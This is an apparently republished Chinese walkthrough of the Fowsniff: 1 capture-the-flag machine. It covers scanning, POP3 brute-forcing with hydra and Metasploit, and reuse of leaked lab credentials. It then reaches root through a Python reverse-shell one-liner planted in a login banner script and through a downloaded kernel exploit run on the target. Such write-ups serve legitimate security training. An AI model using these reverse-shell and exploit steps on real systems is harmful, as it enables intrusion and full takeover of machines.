Fowsniff: 1靶机入侵

时间 2019-11-19

标签 fowsniff 靶机入侵栏目系统安全繁體版

原文原文链接

1、信息收集

1.存活主机扫描

arp-scan -lhtml

发现192.168.1.13是目标靶机的IP地址python

2.端口扫描

接下来用nmap神器来扫描目标IP地址，命令以下：linux

root@kali2018:~# nmap -A 192.168.1.13web

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-13 01:18 ESTshell

Nmap scan report for 192.168.1.13ubuntu

Host is up (0.0014s latency).vim

Not shown: 996 closed ports浏览器

PORT STATE SERVICE VERSIONapp

22/tcp openssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)ssh

| ssh-hostkey:

| 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)

| 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)

|_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)

80/tcp openhttp Apache httpd 2.4.18 ((Ubuntu))

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Fowsniff Corp - Delivering Solutions

110/tcp open pop3 Dovecot pop3d

|_pop3-capabilities: AUTH-RESP-CODE UIDL SASL(PLAIN) PIPELINING USER CAPA TOP RESP-CODES

143/tcp open imap Dovecot imapd

|_imap-capabilities: have OK more IMAP4rev1 post-login listed capabilities LOGIN-REFERRALS SASL-IR Pre-login LITERAL+ IDLE AUTH=PLAINA0001 ENABLE ID

MAC Address: 08:00:27:1E:80:B0 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE

HOP RTT ADDRESS

1 1.38 ms 192.168.1.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds

扫描结果显示有4个端口开放，22(ssh),80(http)，110(pop3),143(imap)。

2、靶机入侵

1.先看看80端口会不会有收获，打开浏览器访问：

看起来像一个静态HTML页面,在页面上向下滚动，有一个注释信息：@fowsniffcorp

页面上没有发现什么，继续使用dirb和nikto进行扫描也没有什么收获

root@kali2018:~# dirb http://192.168.1.13

root@kali2018:~# nikto -h http://192.168.1.13

因而我Google了一番页面上显示的这个fowsniff corp

找到fowsniff twitter（@fowsniffcorp），有一条粘滞的推文：

在打开连接地址https://pastebin.com/NrAqVeeX以后，页面上显示了网站邮箱泄露的邮件用户和密码。

密码是MD5格式，使用sodm5（https://www.somd5.com/batch.html）或hashcat能够解密密码：

如今咱们建立一个用户名和密码的字典，而后经过hydra对pop3进行爆破。

首先，将全部用户名粘贴到user.txt文件中保存，而后，将全部密码粘贴到pass.txt文件中保存。

也可使用msf来爆破pop3登陆，命令和配置以下：

msf > use auxiliary/scanner/pop3/pop3_login

msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.13

rhosts => 192.168.1.13

msf auxiliary(scanner/pop3/pop3_login) > set user_file /opt/user.txt

user_file => /opt/user.txt

msf auxiliary(scanner/pop3/pop3_login) > set pass_file /opt/pass.txt

pass_file => /opt/pass.txt

msf auxiliary(scanner/pop3/pop3_login) > set verbose false

verbose => false

msf auxiliary(scanner/pop3/pop3_login) > exploit

运行以后咱们找到了正确的凭证，“seina:scoobydoo2”，如图：

经过hydra对邮箱进行爆破以下：

hydra -L users.txt -P pass.txt -f {IP} pop3

-L ~ username wordlist

-P ~ password wordlist

-f ~ stop cracking when valid user is found

root@kali2018:/opt# hydra -L user.txt -P pass.txt -f 192.168.1.13 pop3

能够看到成功爆破出用户名seina和对应的密码scoobydoo2

接着咱们链接到靶机的pop3服务上，使用刚才获取的凭证进行登陆。登陆上以后，咱们查看下信息，发现有两条信息，命令以下：

root@kali2018:/opt# nc 192.168.1.13 110

+OK Welcome to the Fowsniff Corporate Mail Server!

user seina

+OK

pass scoobydoo2

+OK Logged in.

list

+OK 2 messages:

1 1622

2 1280

使用list命令查看是否有邮件信息。咱们能够看到有两条消息，而后使用 retr [id] 用来读取邮件。

咱们查看第一条信息的内容，发现它包含SSH的临时密码是“S1ck3nBluff + secureshell”：

retr 1

+OK 1622 octets

Return-Path: <stone@fowsniff>

X-Original-To: seina@fowsniff

Delivered-To: seina@fowsniff

Received: by fowsniff (Postfix, from userid 1000)

id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)

To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,

mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,

tegel@fowsniff

Subject: URGENT! Security EVENT!

Message-Id: <20180313185107.0FA3916A@fowsniff>

Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)

From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to

our internal email systems. The attacker was able to exploit

incorrectly filtered escape characters within our SQL database

to access our login credentials. Both the SQL and authentication

system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system

overhaul. While the main systems are "in the shop," we have

moved to this isolated, temporary server that has minimal

functionality.

This server is capable of sending and receiving emails, but only

locally. That means you can only send emails to other users, not

to the world wide web. You can, however, access this system via

the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my

guidance. I saw the leak the attacker posted online, and I must say that your

passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks,

A.J Stone

接着查看第二条信息，信息中能够看到发件人是baksteen@fowsniff，能够推断用户名是baksteen：

retr 2

+OK 1280 octets

Return-Path: <baksteen@fowsniff>

X-Original-To: seina@fowsniff

Delivered-To: seina@fowsniff

Received: by fowsniff (Postfix, from userid 1004)

id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)

To: seina@fowsniff

Subject: You missed out!

Message-Id: <20180313185405.101CA1AC2@fowsniff>

Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)

From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!

We are going to be talking about this one for a looooong time hahaha.

Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with

you from your camping trip, but I think I'm coming down with it myself.

How long have you been gone - a week?

Next time you're going to get sick and miss the managerial blowout of the century,

at least keep it to yourself!

I'm going to head home early and eat some chicken soup.

I think I just got an email from Stone, too, but it's probably just some

"Let me explain the tone of my meeting with management" face-saving mail.

I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password.

AJ had been telling us to do that right before Captain Profanity showed up.

接着咱们使用刚才得到的凭证，也就是用户名：baksteen 密码：S1ck3nBluff+secureshell来登陆ssh

root@kali2018:/opt# ssh baksteen@192.168.1.13

3、权限提高

1.第一种权限提高

登陆成功。对系统进行一下枚举，发现用户baksteen属于两个不一样的组。咱们尝试找到属于users组的文件，发现了一个脚本“cube.sh”，查找命令以下：

baksteen@fowsniff:~$ find / -group users -type f 2>/dev/null

咱们查看一下这个脚本文件的内容，发现它包含咱们ssh登录后出现的界面信息，对照上图ssh登陆成功后的截图便知。

baksteen@fowsniff:~$ cd /opt/cube

baksteen@fowsniff:/opt/cube$ ls

baksteen@fowsniff:/opt/cube$ cat cube.sh

咱们使用vim打开该文件，并在文件结尾添加一行Python反弹shell的命令：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.21",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如图：

保存后，咱们尝试执行该脚本，报错，错误信息是“Python command is not found”。因而咱们在系统中查找Python，发现安装的是Python3，如图：

因此咱们修改反弹shell的命令为Python3，以下：

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

因为咱们登陆到ssh时看到的banner跟cube.sh脚本包含的内容类似，因此咱们来查看下“etc/update-motd.d”目录，查找运行改程序的可执行文件，发现了“00-header”这个文件运行这个shell脚本。

如今咱们退出ssh，而且在本地使用netcat设置监听，而后咱们从新链接ssh，这样的话，咱们的反弹shell就成功执行了

root@kali2018:/opt# nc -lvvp 1234

root@kali2018:~# ssh baksteen@192.168.1.13

一旦成功登陆，咱们就得到了一个root用户的shell。咱们切换到root目录，发现一个flag.txt的文件，查看文件便获得了咱们的flag信息：

root@kali2018:/opt# nc -lvvp 1234

listening on [any] 1234 ...

192.168.1.13: inverse host lookup failed: Unknown host

connect to [192.168.1.21] from (UNKNOWN) [192.168.1.13] 50676

/bin/sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)

# cd /root

# ls

Maildir

flag.txt

# cat flag.txt

___ _ __ _ _

/ __|___ _ ___ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| |

| (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_|

\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)

|___/

(_)

|--------------

|&&&&&&&&&&&&&&|

| R O O T |

| F L A G |

|&&&&&&&&&&&&&&|

|--------------

---

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.

2.第二种权限提高

在枚举baksteen帐号的时候，咱们注意到内核目标靶机的系统内核为4.4.0-116-generic，该内核容易受到本地权限提高的漏洞攻击。目标系统中并无安装GCC，能够在攻击机上编译成功后的EXP，而后下载到目标靶机上执行。

baksteen@fowsniff:/opt/cube$ uname -a

https://www.exploit-db.com/exploits/44298/

root@kali2018:/opt# wget https://www.exploit-db.com/download/44298

--2019-02-13 02:50:28--https://www.exploit-db.com/download/44298

Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8

Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 6021 (5.9K) [application/txt]

Saving to: ‘44298’

44298100%[===============================================================================>] 5.88K--.-KB/s in 0s

2019-02-13 02:50:32 (27.4 MB/s) - ‘44298’ saved [6021/6021]

root@kali2018:/opt# ls

44298 pass.txtuser.txt

root@kali2018:/opt# cp 44298

cp: missing destination file operand after '44298'

Try 'cp --help' for more information.

root@kali2018:/opt# cp 44298 44298.c

root@kali2018:/opt# gcc -o exploit 44298.c

root@kali2018:/opt# ls

44298 44298.cexploit pass.txt user.txt

root@kali2018:/opt# num.sh linuxprivchecker.py

baksteen@fowsniff:/opt/cube$

baksteen@fowsniff:/opt/cube$ wget http://192.168.1.21:81/exploit

--2019-02-13 02:53:41--http://192.168.1.21:81/exploit

Connecting to 192.168.1.21:81... connected.

HTTP request sent, awaiting response... 200 OK

Length: 17880 (17K) [application/octet-stream]

Saving to: 鈥榚xploit鈥

exploit100%[====================================================================================>] 17.46K--.-KB/s in 0.002s

2019-02-13 02:53:41 (8.29 MB/s) - 鈥榚xploit鈥saved [17880/17880]

baksteen@fowsniff:/opt/cube$ ls

cube.sh exploitLinEnum.sh linuxprivchecker.py

baksteen@fowsniff:/opt/cube$ chmod +x exploit

baksteen@fowsniff:/opt/cube$ ./exploit

task_struct = ffff88001ebe8000

uidptr = ffff88001eb3e184

spawning root shell

root@fowsniff:/opt/cube# id

uid=0(root) gid=0(root) groups=0(root),100(users),1001(baksteen)

root@fowsniff:/opt/cube#

<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">